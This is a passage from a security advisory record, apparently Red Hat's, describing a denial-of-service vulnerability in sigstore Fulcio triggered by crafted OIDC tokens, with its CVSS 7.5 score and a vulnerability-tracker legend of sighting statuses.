"text": "github.com/sigstore/fulcio: Fulcio: Denial of Service via crafted OpenID Connect (OIDC) token",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This vulnerability is rated Important for Red Hat as Fulcio, a certificate authority used for issuing code signing certificates, is susceptible to a denial of service when processing a specially crafted OpenID Connect (OIDC) token. This could lead to resource exhaustion and service unavailability in affected Red Hat products that utilize Fulcio.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
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"summary": "Canonical URL",
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{
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"baseScore": 7.5,
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"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
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"title": "github.com/sigstore/fulcio: Fulcio: Denial of Service via crafted OpenID Connect (OIDC) token"
}
]
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.